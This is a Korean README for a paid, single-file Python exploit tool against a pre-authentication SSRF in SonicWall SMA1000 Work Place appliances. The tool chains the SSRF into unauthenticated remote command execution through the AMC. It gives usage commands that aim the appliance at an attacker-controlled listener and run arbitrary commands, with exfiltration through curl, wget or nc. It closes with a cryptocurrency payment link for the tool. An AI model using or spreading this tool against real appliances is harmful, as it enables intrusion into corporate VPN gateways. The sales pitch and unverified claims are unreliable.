CVE-2026-83548 — SonicWall SMA1000 Work Place 사전 인증 SSRF

SonicWall SMA1000 어플라이언스(6210 / 7210 / 8200v)의 Work Place 인터페이스에서 사전 인증 SSRF를 평가하고 악용하기 위한 단일 파일 도구 (Python 3, 표준 라이브러리만 사용, 의존성 없음)로, CVE-2026-83549를 통한 비인증 RCE로의 기회적 연쇄 공격을 포함합니다.

취약점

CVE	CVE-2026-83548 (SSRF, CWE-918/CWE-441), CVSS 10.0
연쇄	CVE-2026-83549 — AMC의 OS 명령 주입(인증 후), SSRF를 통해 우회
메커니즘	Work Place 인터페이스가 의도치 않은 포워드 프록시로 동작: 어플라이언스가 자체의 권한 있는 네트워크 위치를 이용해 조작된 요청을 내부 리소스(AMC 포함)로 전달하며, 어느 단계에서도 인증이 필요하지 않음
영향 받는 버전	SMA1000 ≤ 12.4.3-03453 및 ≤ 12.5.0-02835
수정 버전	12.4.3-03526 / 12.5.0-02952 (SonicWall 공지 SNWLID-2026-0016)
상태	실제 환경에서 활발히 악용 중; 2026-09-02부터 CISA KEV 등재; 우회 방법 없음 — 패치만 가능

도구의 기능 (단계)

• [A] 핑거프린트 + 패치 상태 — Work Place 포털 루트에 대한 읽기 전용 GET: Server: SMA/* 배너, __extraweb__ 자산, 도움말 링크에서 버전 확인; 수정 빌드와 비교하여 분류(PATCHED / AFFECTED / POTENTIALLY_AFFECTED / NOT_SMA1000).
• [B] SSRF 벡터 프로빙 — 후보 SSRF 트리거 벡터 집합(/cgi-bin/ 릴레이 경로 및 포워드 프록시의 "절대 URI를 경로로 사용" 형태 포함)을 테스트하고 기준선과 비교하여 이상 징후를 점수화: 상태 코드 변화, 지연 시간 차이, 새로운 응답 헤더, 본문 차이. 운영자가 제공한 벡터는 --vector로 허용됨(반복 가능).
• [C] 대역 외 확인 — 로컬 캡처 리스너를 띄우고 최적의 벡터를 여기로 향하게 함. 캡처된 요청(메서드/헤더/전달된 User-Agent)은 어플라이언스가 요청을 전달했음을 증명 — 타이밍 아티팩트가 아닌 실제 취약점.
• [D] RCE 연쇄 (CVE-2026-83549) — 확인된 SSRF 릴레이를 통해 AMC를 대상으로 기회적 명령 주입 시도, curl/wget/nc를 통한 마커 유출 포함. 확인에는 대역 외 캡처가 필요.

빠른 시작

# Fingerprint / patch-state only (read-only)
python3 exploit_cve_2026_83548.py --fingerprint-only vpn.example.com

# Full pass: vector probing + out-of-band SSRF confirmation
python3 exploit_cve_2026_83548.py --listen --attacker-ip <your_visible_IP> \
    --oob-timeout 5 vpn.example.com

# + RCE chain attempt (default command: id)
python3 exploit_cve_2026_83548.py --listen --attacker-ip <your_visible_IP> --rce \
    --rce-cmd 'id' vpn.example.com

# Known vector (bypasses the default candidate set), JSON report
python3 exploit_cve_2026_83548.py --json --skip-probe \
    --vector 'POST:/cgi-bin/:url={T}' --listen --attacker-ip <your_visible_IP> \
    -k -t 10 203.0.113.10

# Multiple targets in sequence (exit code = worst verdict)
python3 exploit_cve_2026_83548.py --listen --attacker-ip <your_visible_IP> \
    vpn-a.example.com vpn-b.example.com

--attacker-ip — 어플라이언스가 캡처 리스너에 도달할 수 있어야 하는 IP입니다(로컬 검사의 경우 127.0.0.1, 원격의 경우 네트워크에서 접근 가능한 주소와 포트 포워딩). 이 옵션이 없으면 도구가 로컬 IP를 추측하는데, 이는 컨테이너/VPN 환경에서는 종종 작동하지 않습니다.

종료 코드

코드	의미
0	패치됨 / 영향받지 않음
1	버전상 영향받음, 또는 SSRF 확인됨, 또는 정확한 빌드가 확인되지 않은 영향받는 펌웨어 라인
2	인증 없는 RCE 확인됨(체인 성공)
3	대상이 SMA1000 Work Place 포털이 아님
4	연결/기타 오류

제한 사항 (반드시 읽으십시오)

1. Stage D는 기회주의적입니다. 확인에는 대역 외 캡처가 필요하며, 캡처가 없다고 해서 반증은 아닙니다.
2. OOB 캡처는 어플라이언스가 리스너에 도달할 수 있어야 합니다(동일 L2 / 포트 포워딩 / VPN). 캡처 타임아웃 ≠ SSRF 반증.
3. 버전 판정: 어플라이언스는 일반적으로 외부에 정확한 핫픽스 빌드가 아닌 펌웨어 라인(예: 12.5.0)만 노출합니다. 흔한 결과는 POTENTIALLY_AFFECTED이며, 이는 어플라이언스 자체에서 빌드를 확인해야 합니다.
4. Stage B–D는 설계상 대상에 요청을 전송합니다. 소유하거나 명시적으로 테스트가 허용된 호스트에만 사용하십시오.

https://satoshidisk.com/pay/CShhL9